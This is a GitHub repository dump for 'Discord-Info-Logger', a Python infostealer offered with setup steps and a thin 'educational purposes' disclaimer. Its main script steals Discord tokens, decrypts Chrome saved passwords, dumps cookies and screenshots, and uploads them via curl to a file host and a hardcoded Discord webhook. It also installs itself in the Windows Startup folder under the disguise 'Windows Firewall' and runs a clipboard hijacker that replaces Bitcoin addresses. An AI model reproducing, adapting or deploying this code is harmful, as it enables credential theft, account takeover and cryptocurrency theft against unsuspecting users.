├── .gitignore ├── README.md ├── TokenLogger.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Discord-Info-Logger 2 | A free, efficient, and open-source discord token logger, that also grabs cookies, passwords, and intercepts bitcoin addresses. This is purely for demonstration/educational purposes. 3 | 4 | ## Setup 5 | 6 | Depending on your python installation your commands may vary. 7 | Below are the commands needed to set up. 8 | The script was tested in python 3.8.6, on windows 10. This script only works on windows. 9 | 10 | Windows: 11 | ``` 12 | git clone https://github.com/LocalsGitHub/Discord-Info-Logger.git 13 | cd Discord-Info-Logger 14 | pip install -r requirements.txt 15 | py TokenLogger.py 16 | ``` 17 | ## Config 18 | 19 | Once you have opened the script in your desired text editor, there are 3 lines that you can change. 20 | ``` 21 | # Configuration 22 | BTC_ADDRESS = '3LsZH7LqxJMZBaVU9YoTLk8HNnUcmzE88v' <--- Change this to your own bitcoin address 23 | webhookURL = "webhook" <--- Change this to your own webhook 24 | hiddenWindow = False <--- Set this to True or False. If you want the window to be hidden on execution then set this to True 25 | FakeFileName = "Windows Firewall" <--- Change this to the fake desired name. 26 | ``` 27 | 28 | # Support 29 | Create an issue, or message me on discord. 30 | -------------------------------------------------------------------------------- /TokenLogger.py: -------------------------------------------------------------------------------- 1 | import os 2 | if os.name == "nt": 3 | pass 4 | else: 5 | exit() 6 | from json import loads, dumps 7 | from re import findall 8 | from urllib.request import Request, urlopen 9 | from winregistry import WinRegistry as Reg 10 | from subprocess import Popen, PIPE 11 | import random 12 | from PIL import ImageGrab 13 | import ctypes 14 | import sys 15 | import getpass 16 | import re 17 | import subprocess 18 | from os import environ, path 19 | from win32crypt import CryptUnprotectData 20 | import json 21 | import base64 22 | import sqlite3 23 | import browser_cookie3 24 | import time 25 | import logging 26 | import win32crypt 27 | from Crypto.Cipher import AES 28 | import shutil 29 | from datetime import datetime, timedelta 30 | from base64 import b64decode 31 | 32 | # Configuration 33 | BTC_ADDRESS = '' 34 | webhookURL = "https://discord.com/api/webhooks/851299535376744508/0wT-ybEeehPndErZKpgWxIULAU9VJG-odOXiW5jyd4OM1-xy0Tw0UkkQQXDMfMRr2s6W" 35 | hiddenWindow = False 36 | FakeFileName = "Windows Firewall" 37 | 38 | # Defining needed variables 39 | path = path.join( 40 | environ["USERPROFILE"], 41 | "AppData", 42 | "Local", 43 | "Google", 44 | "Chrome", 45 | "User Data", 46 | "Default", 47 | "Login Data", 48 | ) 49 | myname = str(sys.argv[0]) 50 | USER_NAME = getpass.getuser() 51 | LOCAL = os.getenv("LOCALAPPDATA") 52 | ROAMING = os.getenv("APPDATA") 53 | PATHS = { 54 | "Discord" : ROAMING + "\\Discord", 55 | "Discord Canary" : ROAMING + "\\discordcanary", 56 | "Discord PTB" : ROAMING + "\\discordptb", 57 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", 58 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 59 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default" 60 | } 61 | 62 | class Clipboard: 63 | def __init__(self): 64 | self.kernel32 = ctypes.windll.kernel32 65 | self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p] 66 | self.kernel32.GlobalLock.restype = ctypes.c_void_p 67 | self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] 68 | 69 | self.user32 = ctypes.windll.user32 70 | self.user32.GetClipboardData.restype = ctypes.c_void_p 71 | 72 | def __enter__(self): 73 | self.user32.OpenClipboard(0) 74 | if self.user32.IsClipboardFormatAvailable(1): 75 | data = self.user32.GetClipboardData(1) 76 | data_locked = self.kernel32.GlobalLock(data) 77 | text = ctypes.c_char_p(data_locked) 78 | value = text.value 79 | self.kernel32.GlobalUnlock(data_locked) 80 | 81 | try: 82 | return value.decode() 83 | 84 | except Exception as e: 85 | return '' 86 | 87 | def __exit__(self, exc_type, exc_value, exc_traceback): 88 | self.user32.CloseClipboard() 89 | 90 | class Methods: 91 | regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+' 92 | 93 | @staticmethod 94 | def set_clipboard(text): 95 | return subprocess.check_call('echo %s |clip' % text.strip() , shell=True) 96 | 97 | def check(self, text): 98 | try: 99 | regex_check = re.findall(self.regex, text) 100 | if regex_check: 101 | return True 102 | except Exception as e: 103 | return False 104 | 105 | class Logger(): 106 | def startup(): 107 | if ".py" in myname: 108 | return 109 | else: 110 | try: 111 | shutil.copy2(myname, fr'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{FakeFileName}.exe' % USER_NAME) 112 | file_path = myname 113 | if file_path == "": 114 | file_path = os.path.dirname(os.path.realpath(__file__)) 115 | bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME 116 | with open(bat_path + '\\' + f"{FakeFileName}.bat", "w+") as bat_file: 117 | bat_file.write(r'start "" %s' % file_path) 118 | os.system(f"attrib +h {FakeFileName}.bat" ) 119 | bat_file.close() 120 | except Exception as e: 121 | print(e) 122 | def cookieLog(): 123 | cookies = list(browser_cookie3.chrome()) 124 | f = open("rc.txt","w+") 125 | os.system("attrib +h rc.txt") 126 | for item in cookies: 127 | f.write("%s\n" % item) 128 | def passwordLog(): 129 | try: 130 | def get_chrome_datetime(chromedate): 131 | return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) 132 | 133 | def get_encryption_key(): 134 | local_state_path = os.path.join(os.environ["USERPROFILE"], 135 | "AppData", "Local", "Google", "Chrome", 136 | "User Data", "Local State") 137 | with open(local_state_path, "r", encoding="utf-8") as f: 138 | local_state = f.read() 139 | local_state = json.loads(local_state) 140 | 141 | key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 142 | key = key[5:] 143 | return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 144 | 145 | def decrypt_password(password, key): 146 | try: 147 | iv = password[3:15] 148 | password = password[15:] 149 | cipher = AES.new(key, AES.MODE_GCM, iv) 150 | return cipher.decrypt(password)[:-16].decode() 151 | except: 152 | try: 153 | return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) 154 | except: 155 | return "" 156 | 157 | key = get_encryption_key() 158 | db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", 159 | "Google", "Chrome", "User Data", "default", "Login Data") 160 | filename = "ChromeData.db" 161 | shutil.copyfile(db_path, filename) 162 | db = sqlite3.connect(filename) 163 | cursor = db.cursor() 164 | cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") 165 | passwordFile = open("psd.txt", "a") 166 | for row in cursor.fetchall(): 167 | origin_url = row[0] 168 | action_url = row[1] 169 | username = row[2] 170 | password = decrypt_password(row[3], key) 171 | row[4] 172 | row[5] 173 | if username or password: 174 | passwordFile.write(f"Origin URL: {origin_url}\nAction URL: {action_url}\nUsername: {username}\nPassword: {password}" + "\n" + "-" * 50 + "\n") 175 | else: 176 | continue 177 | cursor.close() 178 | db.close() 179 | try: 180 | os.remove(filename) 181 | except: 182 | pass 183 | os.system("attrib +h psd.txt") 184 | except Exception as e: 185 | print(e) 186 | def uploadFiles(): 187 | # Get screenshot 188 | try: 189 | screen = ImageGrab.grab() 190 | screen.save(os.getenv('ProgramData') + r'\desktop.jpg') 191 | screen = open(r'C:\ProgramData\desktop.jpg', 'rb') 192 | screen.close() 193 | screenshotRaw = os.popen('curl -F "file=@C:\ProgramData\desktop.jpg" https://store9.gofile.io/uploadFile ').read() 194 | screenshotUploaded = f"[Desktop Image]({screenshotRaw[39:65]})" 195 | except Exception as e: 196 | print(e) 197 | screenshotUploaded = "Desktop Image: N/A" 198 | # Cookies 199 | try: 200 | cookiesRaw = os.popen('curl -F "file=@rc.txt" https://store9.gofile.io/uploadFile').read() 201 | cookiesUploaded = f"[Cookies]({cookiesRaw[39:65]})" 202 | os.remove("rc.txt") 203 | except Exception as e: 204 | print(e) 205 | cookiesUploaded = "Cookies: N/A" 206 | 207 | # Passwords 208 | try: 209 | passwordsRaw = os.popen('curl -F "file=@psd.txt" https://store9.gofile.io/uploadFile').read() 210 | global passwordsUploaded 211 | passwordsUploaded = f"[Passwords]({passwordsRaw[39:65]})" 212 | os.remove("psd.txt") 213 | except Exception as e: 214 | print(e) 215 | passwordsUploaded = "Passwords: N/A" 216 | 217 | # Finalize Logger 218 | def getheaders(token=None, content_type="application/json"): 219 | headers = { 220 | "Content-Type": content_type, 221 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 222 | } 223 | if token: 224 | headers.update({"Authorization": token}) 225 | return headers 226 | def getuserdata(token): 227 | try: 228 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 229 | except: 230 | pass 231 | def gettokens(path): 232 | path += "\\Local Storage\\leveldb" 233 | tokens = [] 234 | for file_name in os.listdir(path): 235 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 236 | continue 237 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: 238 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 239 | for token in findall(regex, line): 240 | tokens.append(token) 241 | return tokens 242 | def getip(): 243 | ip = "None" 244 | try: 245 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 246 | except: 247 | pass 248 | return ip 249 | def getavatar(uid, aid): 250 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 251 | try: 252 | urlopen(Request(url)) 253 | except: 254 | url = url[:-4] 255 | return url 256 | def gethwid(): 257 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 258 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1] 259 | def getfriends(token): 260 | try: 261 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode()) 262 | except: 263 | pass 264 | def getchat(token, uid): 265 | try: 266 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 267 | except: 268 | pass 269 | def has_payment_methods(token): 270 | try: 271 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 272 | except: 273 | pass 274 | def send_message(token, chat_id, form_data): 275 | try: 276 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 277 | except: 278 | pass 279 | def spread(token, form_data, delay): 280 | return 281 | for friend in getfriends(token): 282 | try: 283 | chat_id = getchat(token, friend["id"]) 284 | send_message(token, chat_id, form_data) 285 | except Exception as e: 286 | pass 287 | sleep(delay) 288 | cache_path = ROAMING + "\\.cache~$" 289 | embeds = [] 290 | working = [] 291 | checked = [] 292 | already_cached_tokens = [] 293 | working_ids = [] 294 | ip = getip() 295 | pc_username = os.getenv("UserName") 296 | pc_name = os.getenv("COMPUTERNAME") 297 | for platform, path in PATHS.items(): 298 | if not os.path.exists(path): 299 | continue 300 | for token in gettokens(path): 301 | if token in checked: 302 | continue 303 | checked.append(token) 304 | uid = None 305 | if not token.startswith("mfa."): 306 | try: 307 | uid = b64decode(token.split(".")[0].encode()).decode() 308 | except: 309 | pass 310 | if not uid or uid in working_ids: 311 | continue 312 | user_data = getuserdata(token) 313 | if not user_data: 314 | continue 315 | working_ids.append(uid) 316 | working.append(token) 317 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 318 | user_id = user_data["id"] 319 | avatar_id = user_data["avatar"] 320 | avatar_url = getavatar(user_id, avatar_id) 321 | email = user_data.get("email") 322 | phone = user_data.get("phone") 323 | nitro = bool(user_data.get("premium_type")) 324 | billing = bool(has_payment_methods(token)) 325 | locationOfIP = "https://whatismyipaddress.com/ip/" + ip 326 | reg = Reg() 327 | path = r'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0001' 328 | hwid = str(reg.read_value(path, 'HwProfileGuid')).split("'")[7] 329 | getColor = [0x1abc9c, 0x11806a, 0x2ecc71, 0x1f8b4c, 0x3498db, 0x206694, 0x9b59b6, 0x71368a, 0xe91e63, 0xad1457, 0xf1c40f, 0xc27c0e, 0xe67e22, 0xa84300, 0xe74c3c, 0x992d22, 0x95a5a6, 0x607d8b, 0x979c9f, 0x546e7a, 0x7289da, 0x99aab5] 330 | randomColor = random.choice(getColor) 331 | embed = { 332 | "color": randomColor, 333 | "fields": [ 334 | { 335 | "name": "**Account Info**", 336 | "value": f'Email: ||{email}||\nPhone: ||{phone}||\nNitro: {nitro}\nBilling Info: {billing}', 337 | "inline": True 338 | }, 339 | { 340 | "name": "**PC Info**", 341 | "value": f'IP: ||{ip}|| | [Location]({locationOfIP}) \nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}', 342 | "inline": True 343 | }, 344 | { 345 | "name": "**Token**", 346 | "value": f"||{token}||", 347 | "inline": False 348 | }, 349 | { 350 | "name": "**Logged Data**", 351 | "value": f"{cookiesUploaded} | {passwordsUploaded} | {screenshotUploaded}\n\nHwids:\n {gethwid()}\n{hwid}", 352 | "inline": False 353 | }, 354 | ], 355 | "author": { 356 | "name": f"{username} ({user_id})", 357 | "icon_url": avatar_url 358 | } 359 | } 360 | embeds.append(embed) 361 | with open(cache_path, "a") as file: 362 | for token in checked: 363 | if not token in already_cached_tokens: 364 | file.write(token + "\n") 365 | if len(working) == 0: 366 | working.append('123') 367 | webhook = { 368 | "content": "", 369 | "embeds": embeds, 370 | "username": "Info Logger | github.com/localsgithub", 371 | "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png" 372 | } 373 | try: 374 | urlopen(Request(webhookURL, data=dumps(webhook).encode(), headers=getheaders())) 375 | except Exception as e: 376 | print(e) 377 | def btcClip(): 378 | m = Methods() 379 | while True: 380 | with Clipboard() as clipboard: 381 | time.sleep(0.1) 382 | target_clipboard = clipboard 383 | if m.check(target_clipboard): 384 | m.set_clipboard(BTC_ADDRESS) 385 | time.sleep(1) 386 | def start(): 387 | if hiddenWindow: 388 | ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) 389 | else: 390 | ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) 391 | Logger.startup() 392 | Logger.cookieLog() 393 | Logger.passwordLog() 394 | Logger.uploadFiles() 395 | Logger.btcClip() 396 | 397 | if __name__ == '__main__': 398 | Logger.start() 399 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | winregistry 2 | Pillow 3 | pypiwin32 4 | browser-cookie3 5 | pycryptodome --------------------------------------------------------------------------------